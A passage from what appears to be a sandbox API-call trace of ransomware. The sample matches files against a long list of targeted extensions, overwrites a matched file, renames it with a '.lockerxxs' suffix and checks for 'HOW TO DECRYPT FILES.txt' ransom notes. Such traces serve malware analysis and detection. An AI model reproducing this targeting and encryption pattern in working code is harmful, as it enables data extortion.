(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbj") returned 0 [0082.418] lstrlenA (lpString="*.qbj") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.ofx") returned 0 [0082.418] lstrlenA (lpString="*.ofx") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qif") returned 0 [0082.418] lstrlenA (lpString="*.qif") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.mye") returned 0 [0082.418] lstrlenA (lpString="*.mye") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.mbox") returned 0 [0082.418] lstrlenA (lpString="*.mbox") returned 6 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.eml") returned 0 [0082.418] lstrlenA (lpString="*.eml") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.pst") returned 0 [0082.419] lstrlenA (lpString="*.pst") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.ost") returned 0 [0082.419] lstrlenA (lpString="*.ost") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.idx") returned 0 [0082.419] lstrlenA (lpString="*.idx") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.dbx") returned 0 [0082.419] lstrlenA (lpString="*.dbx") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.sql") returned 0 [0082.419] lstrlenA (lpString="*.sql") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.mdb") returned 0 [0082.419] lstrlenA (lpString="*.mdb") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.fdb") returned 0 [0082.419] lstrlenA (lpString="*.fdb") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.wab") returned 0 [0082.419] lstrlenA (lpString="*.wab") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.dat") returned 0 [0082.419] lstrlenA (lpString="*.dat") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.txt") returned 0 [0082.419] lstrlenA (lpString="*.txt") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.jpeg") returned 0 [0082.419] lstrlenA (lpString="*.jpeg") returned 6 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.jpg") returned 0 [0082.419] lstrlenA (lpString="*.jpg") returned 5 [0082.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.png") returned 0 [0082.420] lstrlenA (lpString="*.png") returned 5 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.php") returned 0 [0082.420] lstrlenA (lpString="*.php") returned 5 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.cs") returned 0 [0082.420] lstrlenA (lpString="*.cs") returned 4 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.cpp") returned 0 [0082.420] lstrlenA (lpString="*.cpp") returned 5 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.rar") returned 0 [0082.420] lstrlenA (lpString="*.rar") returned 5 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.zip") returned 0 [0082.420] lstrlenA (lpString="*.zip") returned 5 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.html") returned 0 [0082.420] lstrlenA (lpString="*.html") returned 6 [0082.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.htm") returned 1 [0082.420] lstrlenA (lpString="*.htm") returned 5 [0082.420] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" [0082.420] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" [0082.420] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm." [0082.420] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.lockerxxs" [0082.421] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.423] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xaf6 [0082.423] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x583e0320, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x583e0320, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x583e0320, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.423] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.423] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xad0, lpOverlapped=0x0) returned 1 [0082.425] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm") returned="browser[1].htm" [0082.425] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.425] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xad0, lpOverlapped=0x0) returned 1 [0082.425] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.425] CloseHandle (hObject=0xa4) returned 1 [0082.429] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm.lockerxxs")) returned 1 [0082.430] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b2b1b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b2b1b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b2b1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd8, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="bs-jsdep[1].css", cAlternateFileName="BS-JSD~1.CSS")) returned 1 [0082.430] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.430] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bs-jsdep[1].css") returned 1 [0082.430] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bs-jsdep[1].css") returned 1 [0082.430] lstrcmpiA (lpString1="", lpString2="bs-jsdep[1].css") returned -1 [0082.430] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm") returned="browser[1].htm" [0082.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.430] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.430] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.431] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.431] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="bs-jsdep[1].css" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css" [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.ems") returned 0 [0082.431] lstrlenA (lpString="*.ems") returned 5 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.db") returned 0 [0082.431] lstrlenA (lpString="*.db") returned 4 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.dbf") returned 0 [0082.431] lstrlenA (lpString="*.dbf") returned 5 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.myox") returned 0 [0082.431] lstrlenA (lpString="*.myox") returned 6 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.myo") returned 0 [0082.431] lstrlenA (lpString="*.myo") returned 5 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbw") returned 0 [0082.431] lstrlenA (lpString="*.qbw") returned 5 [0082.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbb") returned 0 [0082.432] lstrlenA (lpString="*.qbb") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbm") returned 0 [0082.432] lstrlenA (lpString="*.qbm") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbo") returned 0 [0082.432] lstrlenA (lpString="*.qbo") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbx") returned 0 [0082.432] lstrlenA (lpString="*.qbx") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qba") returned 0 [0082.432] lstrlenA (lpString="*.qba") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qby") returned 0 [0082.432] lstrlenA (lpString="*.qby") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qbj") returned 0 [0082.432] lstrlenA (lpString="*.qbj") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.ofx") returned 0 [0082.432] lstrlenA (lpString="*.ofx") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.qif") returned 0 [0082.432] lstrlenA (lpString="*.qif") returned 5 [0082.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mye") returned 0 [0082.433] lstrlenA (lpString="*.mye") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mbox") returned 0 [0082.433] lstrlenA (lpString="*.mbox") returned 6 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.eml") returned 0 [0082.433] lstrlenA (lpString="*.eml") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.pst") returned 0 [0082.433] lstrlenA (lpString="*.pst") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.ost") returned 0 [0082.433] lstrlenA (lpString="*.ost") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.idx") returned 0 [0082.433] lstrlenA (lpString="*.idx") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.dbx") returned 0 [0082.433] lstrlenA (lpString="*.dbx") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.sql") returned 0 [0082.433] lstrlenA (lpString="*.sql") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.mdb") returned 0 [0082.433] lstrlenA (lpString="*.mdb") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.fdb") returned 0 [0082.433] lstrlenA (lpString="*.fdb") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.wab") returned 0 [0082.433] lstrlenA (lpString="*.wab") returned 5 [0082.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.dat") returned 0 [0082.434] lstrlenA (lpString="*.dat") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.txt") returned 0 [0082.434] lstrlenA (lpString="*.txt") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.jpeg") returned 0 [0082.434] lstrlenA (lpString="*.jpeg") returned 6 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.jpg") returned 0 [0082.434] lstrlenA (lpString="*.jpg") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.png") returned 0 [0082.434] lstrlenA (lpString="*.png") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.php") returned 0 [0082.434] lstrlenA (lpString="*.php") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.cs") returned 0 [0082.434] lstrlenA (lpString="*.cs") returned 4 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.cpp") returned 0 [0082.434] lstrlenA (lpString="*.cpp") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.rar") returned 0 [0082.434] lstrlenA (lpString="*.rar") returned 5 [0082.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.zip") returned 0 [0082.435] lstrlenA (lpString="*.zip") returned 5 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css", pszSpec="*.html") returned 0 [0082.435] lstrlenA (lpString="*.html") returned 6 [0082.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 